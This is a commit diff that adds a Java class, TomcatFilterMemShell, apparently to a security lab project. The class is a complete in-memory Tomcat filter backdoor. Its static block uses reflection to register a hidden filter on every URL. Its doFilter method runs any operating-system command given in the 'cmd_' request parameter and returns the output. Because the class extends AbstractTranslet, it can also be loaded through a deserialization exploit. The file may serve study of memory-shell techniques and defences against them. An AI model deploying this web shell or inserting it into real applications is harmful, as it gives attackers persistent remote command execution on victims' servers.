1
+ package org .joychou .config ;
2
+
3
+ import com .sun .org .apache .xalan .internal .xsltc .DOM ;
4
+ import com .sun .org .apache .xalan .internal .xsltc .TransletException ;
5
+ import com .sun .org .apache .xalan .internal .xsltc .runtime .AbstractTranslet ;
6
+ import com .sun .org .apache .xml .internal .dtm .DTMAxisIterator ;
7
+ import com .sun .org .apache .xml .internal .serializer .SerializationHandler ;
8
+ import java .lang .reflect .Field ;
9
+ import org .apache .catalina .core .StandardContext ;
10
+ import java .io .IOException ;
11
+ import org .apache .catalina .loader .WebappClassLoaderBase ;
12
+ import org .apache .tomcat .util .descriptor .web .FilterDef ;
13
+ import org .apache .tomcat .util .descriptor .web .FilterMap ;
14
+ import java .lang .reflect .Constructor ;
15
+ import org .apache .catalina .core .ApplicationFilterConfig ;
16
+ import org .apache .catalina .Context ;
17
+ import org .springframework .stereotype .Component ;
18
+
19
+ import javax .servlet .*;
20
+ import java .util .*;
21
+
22
+ @ Component
23
+ public class TomcatFilterMemShell extends AbstractTranslet implements Filter {
24
+ static {
25
+ try {
26
+ System .out .println ("Tomcat filter backdoor class is loading..." );
27
+ final String name = "backdoorTomcatFilter" ;
28
+ final String URLPattern = "/*" ;
29
+
30
+ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase ) Thread .currentThread ().getContextClassLoader ();
31
+ // standardContext为tomcat标准上下文,
32
+ StandardContext standardContext = (StandardContext ) webappClassLoaderBase .getResources ().getContext ();
33
+
34
+ Class <? extends StandardContext > aClass ;
35
+ try {
36
+ // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext
37
+ // 适用于内嵌式springboot的tomcat
38
+ aClass = (Class <? extends StandardContext >) standardContext .getClass ().getSuperclass ();
39
+ }catch (Exception e ){
40
+ aClass = standardContext .getClass ();
41
+ }
42
+ Field Configs = aClass .getDeclaredField ("filterConfigs" );
43
+ Configs .setAccessible (true );
44
+ // 获取当前tomcat标准上下文中已经存在的filterConfigs
45
+ Map filterConfigs = (Map ) Configs .get (standardContext );
46
+
47
+ // 判断下防止重复注入
48
+ if (filterConfigs .get (name ) == null ) {
49
+ // 构造filterDef,并将filterDef添加到standardContext的FilterDef中
50
+ TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell ();
51
+ FilterDef filterDef = new FilterDef ();
52
+ filterDef .setFilter (backdoorFilter );
53
+ filterDef .setFilterName (name );
54
+ filterDef .setFilterClass (backdoorFilter .getClass ().getName ());
55
+ standardContext .addFilterDef (filterDef );
56
+
57
+ // 构造fiterMap,将filterMap添加到standardContext的FilterMap
58
+ FilterMap filterMap = new FilterMap ();
59
+ filterMap .addURLPattern (URLPattern );
60
+ filterMap .setFilterName (name );
61
+ filterMap .setDispatcher (DispatcherType .REQUEST .name ());
62
+ standardContext .addFilterMapBefore (filterMap );
63
+
64
+ Constructor constructor = ApplicationFilterConfig .class .getDeclaredConstructor (Context .class , FilterDef .class );
65
+ constructor .setAccessible (true );
66
+ ApplicationFilterConfig filterConfig = (ApplicationFilterConfig ) constructor .newInstance (standardContext , filterDef );
67
+
68
+ // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可
69
+ filterConfigs .put (name , filterConfig );
70
+ System .out .println ("Tomcat filter backdoor inject success!" );
71
+ } else System .out .println ("It has been successfully injected, do not inject again." );
72
+ } catch (Exception e ) {
73
+ System .out .println (e .getMessage ());
74
+ }
75
+ }
76
+
77
+
78
+ @ Override
79
+ public void transform (DOM document , SerializationHandler [] handlers ) throws TransletException {
80
+
81
+ }
82
+
83
+ @ Override
84
+ public void transform (DOM document , DTMAxisIterator iterator , SerializationHandler handler ) throws TransletException {
85
+
86
+ }
87
+
88
+ @ Override
89
+ public void init (FilterConfig filterConfig ) throws ServletException {
90
+
91
+ }
92
+
93
+ @ Override
94
+ public void doFilter (ServletRequest servletRequest , ServletResponse servletResponse , FilterChain filterChain ) throws IOException , ServletException {
95
+ String cmd ;
96
+ if ((cmd = servletRequest .getParameter ("cmd_" )) != null ) {
97
+ Process process = Runtime .getRuntime ().exec (cmd );
98
+ java .io .BufferedReader bufferedReader = new java .io .BufferedReader (
99
+ new java .io .InputStreamReader (process .getInputStream ()));
100
+ StringBuilder stringBuilder = new StringBuilder ();
101
+ String line ;
102
+ while ((line = bufferedReader .readLine ()) != null ) {
103
+ stringBuilder .append (line ).append ('\n' );
104
+ }
105
+ servletResponse .getOutputStream ().write (stringBuilder .toString ().getBytes ());
106
+ servletResponse .getOutputStream ().flush ();
107
+ servletResponse .getOutputStream ().close ();
108
+ return ;
109
+ }
110
+
111
+ filterChain .doFilter (servletRequest , servletResponse );
112
+ }
113
+
114
+
115
+ @ Override
116
+ public void destroy () {
117
+
118
+ }
119
+
120
+ }
0 commit comments